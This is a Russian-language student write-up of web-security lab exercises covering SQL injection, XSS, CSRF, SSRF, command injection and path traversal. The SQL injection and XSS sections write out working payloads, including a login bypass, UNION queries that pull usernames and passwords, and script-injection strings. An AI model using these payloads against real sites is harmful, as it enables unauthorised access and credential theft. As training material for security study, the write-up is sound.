---
# System prepended metadata

title: Занятие 3. Основные атаки и паттерны

---

# Занятие 3. Основные атаки и паттерны 
## SQL-injection уязвимости


1. Отправка имени пользователя administrator'--и пустой пароль приводит к следующему запросу:
```
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
```
![](https://i.imgur.com/3tNuG2W.png)

2. Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Когда пользователь выбирает категорию, приложение выполняет следующий SQL-запрос: 
```
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
Чтобы решить работу, нужно зайди в любой раздел и дописать:
```
'+OR+1=1--
```
![](https://i.imgur.com/6uP2odJ.png)

3. Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. 
Сначала определяю количество столбцов, возвращаемых запросом, и столбцы, содержащие текстовые данные
Кол-во столбцов:
```
'UNION SELECT NULL--
'UNION SELECT NULL, NULL--
'UNION SELECT NULL, NULL, NULL--
```
Понял, что всего два столбца
Дальше определяю столбцы с текстовым типом данных:
```
'UNION SELECT NULL, 'd'--
'UNION SELECT 's', NULL'--
```
Далее вытаскиваю данные с таблицы users:
```
'UNION SELECT username, password FROM users
```
![](https://i.imgur.com/oVuqdE7.png)

4. Атака SQL-инъекцией, запрос типа и версии базы данных на MySQL и Microsoft. 
Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов.
Чтобы решить лабораторную работу, надо отобразить строку версии базы данных.
Сначала надо понять какая эта база данных: Oracle, MS, MySQL
При тесте запросов я понял, что это MySQL
![](https://i.imgur.com/STz0Nee.png)
Дальше определяю кол-во столбцов, определяю, что их два, каждый из которых содержит текст
Дальше делаю окончательный запрос
```
'+UNION SELECT @@version, NULL#
```
![](https://i.imgur.com/VxOQ57Y.png)

## XSS уязвимости

1. Сохранение XSS в контексте HTML без каких-либо кодировок
Эта лабораторная работа содержит сохраненную уязвимость межсайтового скриптинга в функции комментариев. 
Введу следующее в поле для комментариев:
```
<script>alert(1)</script>
```
Потом опубликую этот коммендтарий и готово
![](https://i.imgur.com/aUwpsJC.png)
2. Уязвимость межсайтового скриптинга на основе модели DOM в функции отслеживания поисковых запросов
Введу случайную буквенно-цифровую строку в поле поиска
Щелкну правой кнопкой мыши и осмотрю элемент, и обращу внимание, что строка была помещена внутри img src атрибута 
Вставляю в поиск
```
"><svg onload=alert(1)>
```
![](https://i.imgur.com/tKVZxCR.png)
![](https://i.imgur.com/kAPa3Oj.png)
3.  Уязвимость межсайтового скриптинга в функции отслеживания поисковых запросов, где закодированы угловые скобки
Вбиваю в поиск текст и делаю поиск, дальше в URL стираю запрос и вбиваю следующее:
```
'-alert(1)-'
```
![](https://i.imgur.com/flLcZ5H.png)

![](https://i.imgur.com/zgEsHyJ.png)

4. Эта лабораторная работа демонстрирует отраженную уязвимость DOM. Уязвимости отраженной модели DOM возникают, когда приложение на стороне сервера обрабатывает данные из запроса и повторяет данные в ответе. Затем скрипт на странице обрабатывает отраженные данные небезопасным способом, в конечном итоге записывая их в опасный приемник. 
Вбиваю в поиск текст и делаю поиск
После анализа сайта, понимаю, что сработает следующее дополнение в URL:
```
\"-alert(1)}//
```
![](https://i.imgur.com/FPaFUUD.png)

![](https://i.imgur.com/En07IEs.png)

## CSRF

1. Уязвимость CSRF без защиты 
![](https://i.imgur.com/iUaGOO4.png)
![](https://i.imgur.com/xNuNuFJ.png)
![](https://i.imgur.com/bXYxgud.png)
![](https://i.imgur.com/fREJaSR.png)
2. CSRF, где проверка токена зависит от метода запроса.
![](https://i.imgur.com/7A4xQze.png)
![](https://i.imgur.com/VKQ36UB.png)
![](https://i.imgur.com/Taj21TH.png)
## SSRF

1. Базовый SSRF против локального сервера 
![](https://i.imgur.com/05ijCp5.png)
![](https://i.imgur.com/ne8Rd73.png)
![](https://i.imgur.com/ChGxfJF.png)
![](https://i.imgur.com/Fzn12Lt.png)
![](https://i.imgur.com/vQPbexG.png)
![](https://i.imgur.com/sKLX7Of.png)
2. SSRF с обходом фильтра через открытую уязвимость перенаправления 
![](https://i.imgur.com/bny0KqT.png)
![](https://i.imgur.com/szV3Do9.png)
![](https://i.imgur.com/a6S1nNL.png)
![](https://i.imgur.com/oK0c429.png)
![](https://i.imgur.com/kerJVZS.png)
## RCE

1. Внедрение команд ОС, простой случай 
![](https://i.imgur.com/M2QMqqL.png)
![](https://i.imgur.com/B1A2UVA.png)
![](https://i.imgur.com/BnxW7lN.png)
## Path traversal

1. Обход пути к файлу, простой случай 
![](https://i.imgur.com/VBS2Bab.png)
![](https://i.imgur.com/66Gviw8.png)

![](https://i.imgur.com/fXSqHFO.png)
2. Обход пути к файлу, последовательности обхода заблокированы с обходом абсолютного пути. 
![](https://i.imgur.com/C2yrHwr.png)
![](https://i.imgur.com/jwIeNoS.png)
![](https://i.imgur.com/RIsQak8.png)